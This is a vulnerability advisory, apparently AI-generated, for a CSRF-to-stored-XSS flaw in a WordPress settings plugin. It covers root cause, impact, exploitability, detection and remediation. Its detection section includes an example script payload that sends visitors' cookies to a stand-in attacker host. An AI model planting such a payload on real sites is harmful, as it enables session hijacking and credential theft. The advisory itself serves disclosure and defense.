
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-3332 is a Cross-Site Request Forgery (CSRF) vulnerability in the Xhanch – My Advanced Settings plugin for WordPress, affecting all versions up to and including 1.1.2. The flaw exists in the xms_setting() function, which lacks nonce validation on the settings update handler, allowing unauthenticated attackers to modify plugin settings by tricking an administrator into clicking a malicious link. Notably, the favicon_url and ga_acc_id settings are rendered on the front-end without output escaping, enabling a CSRF-to-Stored XSS attack chain. It was published on March 21, 2026, and carries a CVSS v3.1 base score of 4.3 (Medium) (Feedly, Wordfence).
The root cause is missing nonce validation (CWE-352: Cross-Site Request Forgery) in the xms_setting() function located in admin/setting.php. Because WordPress nonces are not verified before processing settings updates, any forged POST request submitted in the context of an authenticated administrator session will be accepted. The secondary issue is that values such as favicon_url and ga_acc_id are echoed to the front-end without sanitization or escaping, meaning a successful CSRF attack can persist attacker-controlled JavaScript in the site's HTML output, escalating the impact to Stored XSS. The vulnerable code path is visible in the plugin's source at admin/setting.php#L10 (Wordfence, Plugin Source).
An unauthenticated attacker who successfully exploits this vulnerability can modify plugin settings on the target WordPress site, including the favicon URL and Google Analytics account ID, as well as various WordPress behavior toggles. Because the favicon_url and ga_acc_id values are output unescaped on the front-end, the attacker can inject persistent malicious JavaScript (Stored XSS) that executes in the browsers of all site visitors, potentially enabling session hijacking, credential theft, or malicious redirects. The integrity of the site's configuration and the confidentiality of visitor sessions are the primary risks; availability is not directly impacted (Feedly, Wordfence).
No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-3332 as of the time of writing. The EPSS score is approximately 0.012% (0.000120), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires social engineering — the attacker must trick a logged-in WordPress administrator into visiting a malicious page or clicking a crafted link, which limits the practical attack surface (Feedly, Wordfence).
xms_setting() in admin/setting.php), with attacker-controlled values for favicon_url or ga_acc_id containing a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>)./wp-admin/options-general.php or equivalent plugin settings page) from unusual referrers or at unusual times.wp_options table) containing unexpected values for favicon_url or ga_acc_id, particularly values with <script> tags, JavaScript URIs, or external URLs not set by the administrator.<script> tags or external resource references in the site's rendered HTML output associated with the favicon or Google Analytics fields.The primary remediation is to update the Xhanch – My Advanced Settings plugin to a version beyond 1.1.2 that includes nonce validation in the xms_setting() function and proper output escaping for favicon_url and ga_acc_id. If no patched version is yet available from the plugin author, administrators should deactivate and remove the plugin until a fix is released. As a general hardening measure, WordPress administrators should avoid clicking unsolicited links while logged into the admin panel, and consider using a Web Application Firewall (WAF) capable of detecting CSRF and XSS patterns (Wordfence).
The vulnerability was reported and disclosed by Wordfence, which maintains a threat intelligence database for WordPress plugin vulnerabilities. It was also indexed by ENISA's European Vulnerability Database (EUVD-2026-14189) and tracked by INCIBE-CERT. No significant broader media coverage or notable researcher commentary beyond the initial disclosure has been identified for this vulnerability (Wordfence, ENISA EUVD).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."